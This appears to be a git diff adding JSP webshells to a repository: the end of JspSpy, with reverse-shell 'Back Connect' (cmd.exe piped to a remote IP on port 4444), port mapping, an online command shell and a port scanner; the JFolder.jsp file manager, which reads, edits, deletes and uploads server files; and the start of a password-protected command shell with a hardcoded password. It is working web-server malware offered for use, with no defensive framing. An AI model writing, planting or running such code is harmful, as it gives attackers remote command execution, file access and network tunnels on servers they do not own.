"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//StopMapPort +private static class SmpInvoker extends DefaultInvoker { +public boolean doAfter(){return true;} +public boolean doBefore(){return true;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP); +server.close(); +} +JSession.setAttribute("done","Stop Success!"); +ins.get("vmp").invoke(request,response,JSession); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MapPortInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String localIP = request.getParameter("localIP"); +String localPort = request.getParameter("localPort"); +final String remoteIP = request.getParameter("remoteIP"); +final String remotePort = request.getParameter("remotePort"); +if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort)) +return; +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +final ServerSocket server = new ServerSocket(); +server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort))); +JSession.setAttribute(PORT_MAP,server); +new Thread(new Runnable(){ +public void run(){ +while (true) { +Socket soc = null; +Socket remoteSoc = null; +DataInputStream remoteIn = null; +DataOutputStream remoteOut = null; +DataInputStream localIn = null; +DataOutputStream localOut = null; +try{ +soc = server.accept(); +remoteSoc = new Socket(); +remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort))); +remoteIn = new DataInputStream(remoteSoc.getInputStream()); +remoteOut = new DataOutputStream(remoteSoc.getOutputStream()); +localIn = new DataInputStream(soc.getInputStream()); +localOut = new DataOutputStream(soc.getOutputStream()); +this.readFromLocal(localIn,remoteOut); +this.readFromRemote(soc,remoteSoc,remoteIn,localOut); +}catch(Exception ex) +{ +break; +} +} +} +public void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){ +new Thread(new Runnable(){ +public void run(){ +while (true) { +try{ +byte[] data = new byte[100]; +int len = localIn.read(data); +while (len != -1) { +remoteOut.write(data,0,len); +len = localIn.read(data); +} +}catch (Exception e) { +break; +} +} +} +}).start(); +} +public void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){ +new Thread(new Runnable(){ +public void run(){ +while(true) { +try{ +byte[] data = new byte[100]; +int len = remoteIn.read(data); +while (len != -1) { +localOut.write(data,0,len); +len = remoteIn.read(data); +} +}catch (Exception e) { +try{ +soc.close(); +remoteSoc.close(); +}catch(Exception ex) { +} +break; +} +} +} +}).start(); +} +}).start(); +JSession.setAttribute("done","Map Port Success!"); +JSession.setAttribute("localIP",localIP); +JSession.setAttribute("localPort",localPort); +JSession.setAttribute("remoteIP",remoteIP); +JSession.setAttribute("remotePort",remotePort); +response.sendRedirect(SHELL_NAME+"?o=vmp"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VBackConnect +private static class VbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object ip = JSession.getAttribute("ip"); +Object port = JSession.getAttribute("port"); +Object program = JSession.getAttribute("program"); +Object done = JSession.getAttribute("done"); +JSession.removeAttribute("ip"); +JSession.removeAttribute("port"); +JSession.removeAttribute("program"); +JSession.removeAttribute("done"); +if (Util.isEmpty(ip)) +ip = request.getRemoteAddr(); +if (Util.isEmpty(port) || !Util.isInteger(port.toString())) +port = "4444"; +if (Util.isEmpty(program)) +program = "cmd.exe"; +if (!Util.isEmpty(done)) +Util.outMsg(out,done.toString()); +out.println("
"+ +""+ +" "+ +" "+ +" "+ +""+ +"

Back Connect >>

"+ +"
"+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
Your Ip :"+ +" "+ +" Your Port :"+ +" Program To Back :"+ +"

"+ +" "+ +"
"+ +"
"+ +"
"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BackConnectInvoker extends DefaultInvoker { +public boolean doAfter(){return false;} +public boolean doBefore(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String ip = request.getParameter("ip"); +String port = request.getParameter("port"); +String program = request.getParameter("program"); +if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port)) +return; +Socket socket = new Socket(ip,Integer.parseInt(port)); +Process process = Runtime.getRuntime().exec(program); +(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); +(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); +JSession.setAttribute("done","Back Connect Success!"); +JSession.setAttribute("ip",ip); +JSession.setAttribute("port",port); +JSession.setAttribute("program",program); +response.sendRedirect(SHELL_NAME+"?o=vbc"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class JspEnvInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"

System Properties >>

"+ +"
"+ +"
"+ +"
    "); +Properties pro = System.getProperties(); +Enumeration names = pro.propertyNames(); +while (names.hasMoreElements()){ +String name = (String)names.nextElement(); +out.println("
  • "+Util.htmlEncode(name)+" : "+Util.htmlEncode(pro.getProperty(name))+"
  • "); +} +out.println("

System Environment >>


    "); +Map envs = System.getenv(); +Set> entrySet = envs.entrySet(); +for (Map.Entry en:entrySet) { +out.println("
  • "+Util.htmlEncode(en.getKey())+" : "+Util.htmlEncode(en.getValue())+"
  • "); +} +out.println("
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class TopInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
"+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
JspSpy Ver: 2009"+request.getHeader("host")+" ("+InetAddress.getLocalHost().getHostAddress()+")
Logout | "+ +" File Manager | "+ +" DataBase Manager | "+ +" Execute Command | "+ +" Shell OnLine | "+ +" Back Connect | "+ +" Port Scan | "+ +" Download Remote File | "+ +" ClipBoard | "+ +" Remote Control | "+ +" Port Map | "+ +" JSP Env "+ +"
"); +if (JSession.getAttribute(MSG) != null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VOnLineShellInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
"); +out.println("

Shell OnLine »


"); +out.println("
"+ +" "+ +" "+ +" Notice ! If You Are Using IE , You Must Input A Command First After You Start Or You Will Not See The Echo"+ +"
"+ +"
"+ +" "+ +"
"+ +" "+ +" "+ +" "+ +" Auto Scroll"+ +" "+ +"
"+ +" " +); +out.println("
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class OnLineInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String type = request.getParameter("type"); +if (Util.isEmpty(type)) +return; +if (type.toLowerCase().equals("start")) { +String exe = request.getParameter("exe"); +if (Util.isEmpty(exe)) +return; +Process pro = Runtime.getRuntime().exec(exe); +ByteArrayOutputStream outs = new ByteArrayOutputStream(); +response.setContentLength(100000000); +response.setContentType("text/html;charset="+Charset.defaultCharset().name()); +OnLineProcess olp = new OnLineProcess(pro); +JSession.setAttribute(SHELL_ONLINE,olp); +new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start(); +new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start(); +new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();//閿欒淇℃伅娴併 +Thread.sleep(1000 * 60 * 60 * 24); +} else if (type.equals("ecmd")) { +Object o = JSession.getAttribute(SHELL_ONLINE); +String cmd = request.getParameter("cmd"); +if (Util.isEmpty(cmd)) +return; +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.setCmd(cmd); +} else { +Object o = JSession.getAttribute(SHELL_ONLINE); +if (o == null) +return; +OnLineProcess olp = (OnLineProcess)o; +olp.stop(); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} + +static{ +ins.put("script",new ScriptInvoker()); +ins.put("before",new BeforeInvoker()); +ins.put("after",new AfterInvoker()); +ins.put("deleteBatch",new DeleteBatchInvoker()); +ins.put("clipboard",new ClipBoardInvoker()); +ins.put("vRemoteControl",new VRemoteControlInvoker()); +ins.put("gc",new GcInvoker()); +ins.put("vPortScan",new VPortScanInvoker()); +ins.put("portScan",new PortScanInvoker()); +ins.put("vConn",new VConnInvoker()); +ins.put("dbc",new DbcInvoker()); +ins.put("executesql",new ExecuteSQLInvoker()); +ins.put("vLogin",new VLoginInvoker()); +ins.put("login",new LoginInvoker()); +ins.put("filelist", new FileListInvoker()); +ins.put("logout",new LogoutInvoker()); +ins.put("upload",new UploadInvoker()); +ins.put("copy",new CopyInvoker()); +ins.put("bottom",new BottomInvoker()); +ins.put("vCreateFile",new VCreateFileInvoker()); +ins.put("vEdit",new VEditInvoker()); +ins.put("createFile",new CreateFileInvoker()); +ins.put("vEditProperty",new VEditPropertyInvoker()); +ins.put("editProperty",new EditPropertyInvoker()); +ins.put("vs",new VsInvoker()); +ins.put("shell",new ShellInvoker()); +ins.put("down",new DownInvoker()); +ins.put("vd",new VdInvoker()); +ins.put("downRemote",new DownRemoteInvoker()); +ins.put("index",new IndexInvoker()); +ins.put("mkdir",new MkDirInvoker()); +ins.put("move",new MoveInvoker()); +ins.put("removedir",new RemoteDirInvoker()); +ins.put("packBatch",new PackBatchInvoker()); +ins.put("pack",new PackInvoker()); +ins.put("unpack",new UnPackInvoker()); +ins.put("vmp",new VmpInvoker()); +ins.put("vbc",new VbcInvoker()); +ins.put("backConnect",new BackConnectInvoker()); +ins.put("jspEnv",new JspEnvInvoker()); +ins.put("smp",new SmpInvoker()); +ins.put("mapPort",new MapPortInvoker()); +ins.put("top",new TopInvoker()); +ins.put("vso",new VOnLineShellInvoker()); +ins.put("online",new OnLineInvoker()); +} +%> +<% +try { +String o = request.getParameter("o"); +if (!Util.isEmpty(o)) { +Invoker in = ins.get(o); +if (in == null) { +response.sendRedirect(SHELL_NAME+"?o=index"); +} else { +if (in.doBefore()) { +String path = request.getParameter("folder"); +if (!Util.isEmpty(path)) +session.setAttribute(CURRENT_DIR,path); +ins.get("before").invoke(request,response,session); +ins.get("script").invoke(request,response,session); +ins.get("top").invoke(request,response,session); +} +in.invoke(request,response,session); +if (!in.doAfter()) { +return; +}else{ +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +} +} else { +response.sendRedirect(SHELL_NAME+"?o=index"); +} +} catch (Exception e) { +ByteArrayOutputStream bout = new ByteArrayOutputStream(); +e.printStackTrace(new PrintStream(bout)); +session.setAttribute(CURRENT_DIR,SHELL_DIR); +Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replace("\n","
"),"left"); +bout.close(); +out.flush(); +ins.get("bottom").invoke(request,response,session); +ins.get("after").invoke(request,response,session); +} +%> \ No newline at end of file diff --git a/jsp/in.jsp b/jsp/in.jsp new file mode 100644 index 0000000..fc44a95 --- /dev/null +++ b/jsp/in.jsp @@ -0,0 +1,982 @@ +<% +/** +xxxxxxxxxxxx xxxxxxxxxxxxxxxx +@xxxxxxxxx: JFolder.jsp +@Description: x。 +@Author: Steven Cee +@Email : xxxx@Gmail.com +@Bugs : 下载时,中文文件名无法正常显示 +*/ +%> +<%@ page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=0; //语言版本,0 : 中文; 1:英文 +String strThisFile="JFolder.jsp"; +String[] authorInfo={" "," "}; +String[] strFileManage = {"文 件 管 理","File Management"}; +String[] strCommand = {"CMD 命 令","Command Window"}; +String[] strSysProperty = {"","System Property"}; +String[] strHelp = {"","Help"}; +String[] strParentFolder = {"上级目录","Parent Folder"}; +String[] strCurrentFolder= {"当前目录","Current Folder"}; +String[] strDrivers = {"驱动器","Drivers"}; +String[] strFileName = {"文件名称","File Name"}; +String[] strFileSize = {"文件大小","File Size"}; +String[] strLastModified = {"最后修改","Last Modified"}; +String[] strFileOperation= {"文件操作","Operations"}; +String[] strFileEdit = {"修改","Edit"}; +String[] strFileDown = {"下载","Download"}; +String[] strFileCopy = {"复制","Move"}; +String[] strFileDel = {"删除","Delete"}; +String[] strExecute = {"执行","Execute"}; +String[] strBack = {"返回","Back"}; +String[] strFileSave = {"保存","Save"}; + +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + + } +} + +public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} + +public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +// A Class with methods used to process a ServletInputStream +public class HttpMultiPartParser { + + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +/** +Windows系统上取得可用的所有逻辑盘 +*/ +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + //bug 5.09M 显示5.9M + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + "\\" + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); + +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} + +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("/"); +} + + +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("文件大小为 0 字节,就不用下了吧"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} + +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} + +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
"); + sbEdit.append(""); + sbEdit.append("
"); +} + +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("原始文件: "+strPath+"

"); + sbCopy.append("目标文件:

"); + sbCopy.append(" "); + sbCopy.append("

 \r\n"); + sbCopy.append("

"); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

目标文件错误。"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

目标文件已存在,不能复制。"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith("\\")) + { + strDesFile=strDesFile+"\\"; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + + sbSaveCopy.append("原始文件 :"+strPath+"

"); + sbSaveCopy.append("目标文件 :"+strTmpFile+"

"); + sbSaveCopy.append("复制成功!"); + } + } + sbSaveCopy.append("

"); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" 文件创建失败"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" 目录创建失败"); + } + else + { + sbNewFile.append("

建立文件或目录出错。"); + } +} + +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + sbNewFile.append("

建立文件或目录出错。"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + if(path!=null && !path.endsWith("\\")) + path = path + "\\"; + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + error = true; + f1.delete(); + } + } + } +} +%> + + + + + + + +index + + + + + +

+ + + + + + +
+ + + + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
- - - - - - - - - - - \r\n "); + + + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
"); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("操作失败: "+e.toString()+""); +} +%> + +
+ + + + + + + + + +
+

+
+ diff --git a/jsp/job.jsp b/jsp/job.jsp new file mode 100644 index 0000000..9cad130 --- /dev/null +++ b/jsp/job.jsp @@ -0,0 +1,1811 @@ +<%@ page contentType="text/html; charset=GBK" %> +<%@ page import="java.io.*"%> +<%@ page import="java.util.Map"%> +<%@ page import="java.util.HashMap"%> +<%@ page import="java.nio.charset.Charset"%> +<%@ page import="java.util.regex.*"%> +<%@ page import="java.sql.*"%> +<%! +private String _password = "520520"; +private String _encodeType = "GB2312"; +private int _sessionOutTime = 20; +private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"}; +private Connection _dbConnection = null; +private Statement _dbStatement = null; +private String _url = null; + +public boolean validate(String password) { + if (password.equals(_password)) { + return true; + } else { + return false; + } +} + +public String HTMLEncode(String str) { + str = str.replaceAll(" ", " "); + str = str.replaceAll("<", "<"); + str = str.replaceAll(">", ">"); + str = str.replaceAll("\r\n", "
"); + + return str; +} + +public String Unicode2GB(String str) { + String sRet = null; + + try { + sRet = new String(str.getBytes("ISO8859_1"), _encodeType); + } catch (Exception e) { + sRet = str; + } + + return sRet; +} + +public String exeCmd(String cmd) { + Runtime runtime = Runtime.getRuntime(); + Process proc = null; + String retStr = ""; + InputStreamReader insReader = null; + char[] tmpBuffer = new char[1024]; + int nRet = 0; + + try { + proc = runtime.exec(cmd); + insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312")); + + while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) { + retStr += new String(tmpBuffer, 0, nRet); + } + + insReader.close(); + retStr = HTMLEncode(retStr); + } catch (Exception e) { + retStr = "bad command \"" + cmd + "\""; + } finally { + return retStr; + } +} + +public String pathConvert(String path) { + String sRet = path.replace('\\', '/'); + File file = new File(path); + + if (file.getParent() != null) { + if (file.isDirectory()) { + if (! 